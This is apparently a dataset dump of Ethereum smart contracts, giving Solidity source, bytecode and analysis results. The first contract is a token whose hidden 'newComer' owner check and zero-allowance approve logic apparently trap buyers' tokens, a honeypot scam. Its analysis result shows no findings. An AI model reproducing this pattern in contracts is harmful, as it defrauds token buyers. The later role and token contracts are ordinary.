function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ShikageShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = 'Shikage ' ;
string private _symbol = 'SHIKAGE ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122084dae8ad27a288466a7dfaff3332b9d4c0ae1fc5fba83bdd2ce5cd4ca307c4ad64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,731 |
0xbA844Cb064Ba1F360f589955264Ad297E3032820
|
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/IAccessControl
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Strings
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/AccessControl
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: ArrayRoles.sol
contract ArrayRoles is AccessControl {
bytes32 public constant DEVELOPER = keccak256("DEVELOPER");
bytes32 public constant DAO_MULTISIG = keccak256("DAO_MULTISIG");
bytes32 public constant DEV_MULTISIG = keccak256("DEV_MULTISIG");
address public constant devmultisig = 0x3c25c256E609f524bf8b35De7a517d5e883Ff81C;
address public constant daomultisig = 0xB60eF661cEdC835836896191EDB87CC025EFd0B7;
constructor () {
_setupRole(DEFAULT_ADMIN_ROLE, daomultisig);
_setupRole(DAO_MULTISIG, daomultisig);
_setupRole(DEV_MULTISIG, devmultisig);
_setupRole(DEVELOPER, msg.sender);
_setRoleAdmin(DEVELOPER, DEV_MULTISIG);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80633c934ab3116100715780633c934ab31461014757806391d148541461014f578063a217fddf14610162578063bc0ee6b81461016a578063d547741f14610172578063ea1998bf14610185576100b4565b806301ffc9a7146100b95780630750fa45146100e2578063248a9ca3146100f7578063256a3e2b1461010a5780632f2ff15d1461011f57806336568abe14610134575b600080fd5b6100cc6100c73660046106c2565b61018d565b6040516100d99190610773565b60405180910390f35b6100ea6101b8565b6040516100d9919061077e565b6100ea610105366004610670565b6101dc565b6101126101f1565b6040516100d9919061075f565b61013261012d366004610688565b610209565b005b610132610142366004610688565b610232565b6100ea610281565b6100cc61015d366004610688565b6102a5565b6100ea6102ce565b6101126102d3565b610132610180366004610688565b6102eb565b6100ea61030a565b60006001600160e01b03198216637965db0b60e01b14806101b257506101b28261032e565b92915050565b7f10518cd1efd37f850ee27646f7020563391bf44e0e90d6ecae7e0334935b5a4c81565b60009081526020819052604090206001015490565b73b60ef661cedc835836896191edb87cc025efd0b781565b610212826101dc565b6102238161021e610347565b61034b565b61022d83836103af565b505050565b61023a610347565b6001600160a01b0316816001600160a01b0316146102735760405162461bcd60e51b815260040161026a906107ef565b60405180910390fd5b61027d8282610434565b5050565b7f2714cbbaddbb71bcae9366d8bf7770636ec7ae63227b573986d2f54fffacb39d81565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b600081565b733c25c256e609f524bf8b35de7a517d5e883ff81c81565b6102f4826101dc565b6103008161021e610347565b61022d8383610434565b7f044b91deacf0aab5502a108167dc8649ceb80286a22b7d1adcfd65c463a2701c81565b6001600160e01b031981166301ffc9a760e01b14919050565b3390565b61035582826102a5565b61027d5761036d816001600160a01b031660146104b7565b6103788360206104b7565b6040516020016103899291906106ea565b60408051601f198184030181529082905262461bcd60e51b825261026a91600401610787565b6103b982826102a5565b61027d576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556103f0610347565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b61043e82826102a5565b1561027d576000828152602081815260408083206001600160a01b03851684529091529020805460ff19169055610473610347565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b606060006104c6836002610856565b6104d190600261083e565b67ffffffffffffffff8111156104f757634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610521576020820181803683370190505b509050600360fc1b8160008151811061054a57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061058757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060006105ab846002610856565b6105b690600161083e565b90505b600181111561064a576f181899199a1a9b1b9c1cb0b131b232b360811b85600f16601081106105f857634e487b7160e01b600052603260045260246000fd5b1a60f81b82828151811061061c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93610643816108a5565b90506105b9565b5083156106695760405162461bcd60e51b815260040161026a906107ba565b9392505050565b600060208284031215610681578081fd5b5035919050565b6000806040838503121561069a578081fd5b8235915060208301356001600160a01b03811681146106b7578182fd5b809150509250929050565b6000602082840312156106d3578081fd5b81356001600160e01b031981168114610669578182fd5b60007f416363657373436f6e74726f6c3a206163636f756e742000000000000000000082528351610722816017850160208801610875565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351610753816028840160208801610875565b01602801949350505050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b60006020825282518060208401526107a6816040850160208701610875565b601f01601f19169190910160400192915050565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b60008219821115610851576108516108bc565b500190565b6000816000190483118215151615610870576108706108bc565b500290565b60005b83811015610890578181015183820152602001610878565b8381111561089f576000848401525b50505050565b6000816108b4576108b46108bc565b506000190190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220a1927df85d7a6c116ca964588efbc55d16a75ebf892c6fa29d719e6ce89e525264736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 7,732 |
0x4a9d711100aff9a444a3c40284f70269bb3f0487
|
/**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
pragma solidity ^0.5.0;
library SafeMath{
/**
* Returns the addition of two unsigned integers, reverting on
* overflow.
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* - Subtraction cannot overflow.
*
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"ERC20: Required Owner !");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require (newOwner != address(0),"ERC20 New Owner cannot be zero address");
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external ; }
contract TOKENERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
/* This generates a public event on the blockchain that will notify clients */
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public LockList;
mapping (address => uint256) public LockedTokens;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal {
uint256 stage;
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address"); // Prevent transfer to 0x0 address. Use burn() instead
require (LockList[msg.sender] == false,"ERC20: Caller Locked !"); // Check if msg.sender is locked or not
require (LockList[_from] == false, "ERC20: Sender Locked !");
require (LockList[_to] == false,"ERC20: Receipient Locked !");
// Check if sender balance is locked
stage=balanceOf[_from].sub(_value, "ERC20: transfer amount exceeds balance");
require (stage >= LockedTokens[_from],"ERC20: transfer amount exceeds Senders Locked Amount");
//Deduct and add balance
balanceOf[_from]=stage;
balanceOf[_to]=balanceOf[_to].add(_value,"ERC20: Addition overflow");
//emit Transfer event
emit Transfer(_from, _to, _value);
}
/**
* Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
